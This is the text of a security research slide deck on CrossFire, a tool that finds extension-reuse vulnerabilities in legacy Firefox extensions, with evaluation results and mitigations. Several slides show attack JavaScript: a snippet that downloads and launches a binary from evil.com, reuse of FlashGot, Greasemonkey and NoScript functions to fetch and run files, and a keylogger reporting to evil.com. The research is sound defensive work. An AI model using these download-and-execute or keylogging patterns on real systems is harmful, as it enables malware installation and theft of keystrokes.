Automated Detection of Firefox Extension-Reuse Vulnerabilities

Ahmet S BUYUKKAYHAN
William ROBERTSON
Who are we?

- Assistant professor of computer science at Northeastern University in Boston, MA
- Co-directs the NEU Systems Security Lab with Engin Kirda
- Systems, network, and software security researcher
- Past winner of DEFCON CTF with Shellphish
  - (a long, long time ago….)
Who are we?

- PhD Candidate at Northeastern University
  - Authored peer-reviewed conference and journal papers in top-tier security venues
- Member of the NEU Systems Security Lab
Singapore
Boston
Agenda

- Background
- Extension-Reuse Attacks
- CrossFire & Demo
- Evaluation
- Conclusion
Background
Browser Extensions

- Add new capabilities, customization to browsers
- ~15K extensions in Mozilla Add-ons repository
- Popular ones have millions of users
- Mostly written in JavaScript

Adblock Plus blocks all annoying ads!
Legacy Firefox Extensions

• Shared JavaScript namespace
  – Extensions can read/write objects or variables of others
  – Can invoke functionality of others

• Shared window
  – Read/write GUI elements
  – Listen to all events

• No privilege separation
  – Full access to filesystem, network…
Threat Model

• The browser is an attractive target
  – Extension authors are untrusted
• Vulnerable extensions can be exploited
  – “Benign-but-buggy” threat model
• Malicious extensions are a real threat
  – Trick users into installing malicious extensions
  – Powerful (“man-in-the-browser” attacks)
  – Easy to develop, difficult to detect

161 malicious extensions are blocked by Mozilla*

Existing Methods for Protection

- Enforcing browser marketplaces for extensions
  - Automated analysis
  - Human reviews
  - Extension signing
  - “Vetting”
- Extension isolation
  - Least privilege and policy-based enforcement
Add-on SDK (a.k.a., Jetpack)

- Introduced in 2009
- Isolates extensions from each other
- Separate content and core scripts
- Implements principle of least privilege
- But, adoption has been slow
- Superseded by WebExtensions

<table>
<thead>
<tr>
<th>Date</th>
<th>Percentage of Top 2,000 Sites</th>
</tr>
</thead>
<tbody>
<tr>
<td>October 2014</td>
<td>12.0%</td>
</tr>
<tr>
<td>March 2016</td>
<td>22.9%</td>
</tr>
<tr>
<td>Release Date of WebExtensions in Q3 2016</td>
<td></td>
</tr>
</tbody>
</table>
Extension-Reuse Attacks
Attack Model

Evil Extension (No Sensitive Calls)
No Suspicious Behavior

Evil Extension
Extension X
Sensitive Calls

Extension Y
Sensitive Calls

Vetting Sandbox
Victim's Browser
Impact

- Lack of isolation leaves legacy extensions defenseless against capability leaks
- Attackers can stitch together exploits by abusing capabilities
- The more power vulnerable extensions have, the easier it is for an evil extension
const WebBrowserPersist = Components.Constructor("@mozilla.org/embedding/browser/nsWebBrowserPersist;1", "nsIWebBrowserPersist");
var persist = WebBrowserPersist();
var targetFile = Components.classes["@mozilla.org/file/local;1"]
    .createInstance(Components.interfaces.nsILocalFile);
targetFile.initWithPath("evil.bin");
persist.saveURI("http://evil.com/evil.bin", null, null, null, ",", targetFile, null);
targetFile.launch();
Extension-reuse Attack Example

```
var files = [{
  href: $url,
  description: "",
  fname: $path,
  noRedir: true
}];

gFlashGotService.download(files);

var gPrefMan = new GM_PrefManager();
gPrefMan.setValue("editor", $path);
GM_util.openInEditor();
```
To Reuse or Not To Reuse

```javascript
const WebBrowserPersist = Components.Constructor("@mozilla.org/embedding/browser/nsWebBrowserPersist;1", "nsIWebBrowserPersist");
var persist = WebBrowserPersist();
var targetFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
targetFile.initWithPath($path);
persist.saveURI($url, null, null, "", targetFile, null);
targetFile.launch();

var files = [{
  href: $url,
  description: ",
  fname: $path,
  noRedir: true
}];
gFlashGotService.download(files);

var gPrefMan = new GM_PrefManager();
gPrefMan.setValue("editor", $path);
GM_util.openInEditor();
```
Another Example

- A key logger, which sends each key press to evil.com

```javascript
gd12.keydownHandler = function(e) {
    gd12.dicInline.lookupWikt(String.fromCharCode(e.which), false, false);
};
gd12.init();
```
CrossFire
CrossFire Overview

- JS Parser
  - AST
  - .JS
  - API DB

- Stage 1 Analyzer
  - CG
  - func(
  - Vuln. Report

- Stage 2 Analyzer
  - Vulnerability Analyzer

- Exploit Generator
  - Exploit Rules
  - Exploit
  - CROSSFIRE
DEMO
Evaluation
Method

• Top 10 most downloaded extensions
  – Manual analysis on all set

• Top 2000 most downloaded extensions
  – Manual analysis on random set of 323

• Case Study
  – Developed an extension with cross-extension function call
  – Applied to full review
### Top 10 Firefox Extensions

<table>
<thead>
<tr>
<th>Extension Name</th>
<th>Automated Exploits</th>
<th>Manual Exploits</th>
<th>False Positives</th>
<th># of Users</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adblock Plus</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>22 M</td>
</tr>
<tr>
<td>Video DownloadHelper</td>
<td>0</td>
<td>15</td>
<td>0</td>
<td>6.5 M</td>
</tr>
<tr>
<td>Firebug</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>3 M</td>
</tr>
<tr>
<td>NoScript</td>
<td>2</td>
<td>5</td>
<td>2</td>
<td>2.5 M</td>
</tr>
<tr>
<td>DownThemAll!</td>
<td>0</td>
<td>5</td>
<td>0</td>
<td>1.5 M</td>
</tr>
<tr>
<td>Greasemonkey</td>
<td>1</td>
<td>3</td>
<td>2</td>
<td>1.5 M</td>
</tr>
<tr>
<td>Web of Trust</td>
<td>1</td>
<td>33</td>
<td>15</td>
<td>1.3 M</td>
</tr>
<tr>
<td>Flash Video Down.</td>
<td>4</td>
<td>1</td>
<td>1</td>
<td>1.3 M</td>
</tr>
<tr>
<td>FlashGot Mass Down.</td>
<td>3</td>
<td>5</td>
<td>9</td>
<td>1.3 M</td>
</tr>
<tr>
<td>Down. YouTube Videos</td>
<td>0</td>
<td>2</td>
<td>1</td>
<td>1 M</td>
</tr>
</tbody>
</table>
Summary of Results

Detected Vulnerabilities – Random Set
- True Positives: 255 (73%)
- False Positives: 96 (27%)

Positive Vulnerabilities by Attack Type
- Manual: 51 (20%)
- Automated: 204 (80%)
Breakdown of Positive Vulnerabilities

Positive Vulnerabilities By Category

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Code Execution</td>
<td>Execute binary or JS</td>
</tr>
<tr>
<td>File I/O</td>
<td>Read from/write to Filesystem</td>
</tr>
<tr>
<td>Network Access</td>
<td>Open a URI or download a file</td>
</tr>
<tr>
<td>Preference Access</td>
<td>Read/write browser settings</td>
</tr>
<tr>
<td>Event Listener Reg.</td>
<td>Key logging events only</td>
</tr>
</tbody>
</table>

- Network Access: 66%
- File I/O: 16%
- Event Listener Registration: 12%
- Preference Access: 3%
- Code Execution: 3%
Performance

- Fast static analysis
  - ~ 1 sec average (per extension)

<table>
<thead>
<tr>
<th>Min</th>
<th>Q1</th>
<th>Median</th>
<th>Mean</th>
<th>Q3</th>
<th>Max</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.05s</td>
<td>0.18s</td>
<td>0.28s</td>
<td>1.06s</td>
<td>0.51s</td>
<td>763.91s</td>
</tr>
</tbody>
</table>

- Fast exploit generation
  - ~ 380 secs (~ 6 mins) on average (per exploit)

<table>
<thead>
<tr>
<th>Min</th>
<th>Q1</th>
<th>Median</th>
<th>Mean</th>
<th>Q3</th>
<th>Max</th>
</tr>
</thead>
<tbody>
<tr>
<td>30s</td>
<td>192s</td>
<td>270s</td>
<td>378.6s</td>
<td>550.8</td>
<td>2160s</td>
</tr>
</tbody>
</table>
Case Study

- **ValidateThisWebSite**
  - ~50 lines of code
  - No obfuscation or attempt to hide
  - Opens unnecessary harmless link

```javascript
// Attacker chooses $url
noscriptBM.placesUtils.__ns.__global___.ns.
loadErrorPage(window[1], $url);
```
Limitations

• CrossFire is not a sound and precise analysis tool

• CrossFire does not handle
  – Inferring dynamic types
  – Prototype-based inheritance
  – String evaluation
Mitigation & Detection

- Isolation
- Least privilege
- Secure functionality and data sharing
- Check for extension-reuse vulnerabilities
- Mozilla security team is informed
Key Takeaways

• Lack of isolation allows stealthy attacks
• Attackers can easily automate
• More robust isolation, vetting, and analysis required
Thank You